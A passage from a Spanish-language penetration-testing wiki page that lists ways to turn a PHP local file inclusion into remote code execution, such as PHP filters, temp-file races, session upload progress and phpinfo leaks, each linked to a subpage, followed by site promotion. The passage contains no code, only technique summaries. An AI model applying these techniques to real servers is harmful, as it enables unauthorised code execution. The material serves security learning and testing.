Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través de fallo de segmentación
|
||
|
|
||
|
**Carga** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **fallo de segmentación**, y luego el **archivo temporal no se eliminará** y puedes buscarlo.
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||
|
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través del almacenamiento de archivos temporales de Nginx
|
||
|
|
||
|
Si encontraste una **Inclusión Local de Archivos** y **Nginx** se está ejecutando delante de PHP, es posible que puedas obtener RCE con la siguiente técnica:
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través de PHP\_SESSION\_UPLOAD\_PROGRESS
|
||
|
|
||
|
Si encontraste una **Inclusión Local de Archivos** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión para ti**. Puedes abusar de esto para obtener RCE:
|
||
|
|
||
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
||
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través de la carga de archivos temporales en Windows
|
||
|
|
||
|
Si encontraste una **Inclusión Local de Archivos** y el servidor se está ejecutando en **Windows**, es posible que obtengas RCE:
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través de phpinfo() (file\_uploads = on)
|
||
|
|
||
|
Si encontraste una **Inclusión Local de Archivos** y un archivo que expone **phpinfo()** con file\_uploads = on, puedes obtener RCE:
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de ruta
|
||
|
|
||
|
Si encontraste una **Inclusión Local de Archivos** y puedes **filtrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo que se va a incluir tiene marcas PHP**, puedes intentar **burlar esa comprobación** con esta **condición de carrera**:
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### A través de espera eterna + fuerza bruta
|
||
|
|
||
|
Si puedes abusar de LFI para **cargar archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, entonces podrías **forzar nombres de archivo durante horas** para encontrar el archivo temporal:
|
||
|
|
||
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### Hasta el error fatal
|
||
|
|
||
|
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para lanzar ese error).
|
||
|
|
||
|
**No sé cómo es útil esto, pero podría serlo.**\
|
||
|
_Incluso si causas un error fatal de PHP, los archivos temporales de PHP cargados se eliminan._
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
## Referencias
|
||
|
|
||
|
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
||
|
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||
|
|
||
|
{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||
|
|
||
|
🐞 Lee tutoriales de errores web3
|
||
|
|
||
|
🔔 Recibe notificaciones sobre nuevos errores de recompensa
|
||
|
|
||
|
💬 Participa en discusiones comunitarias
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|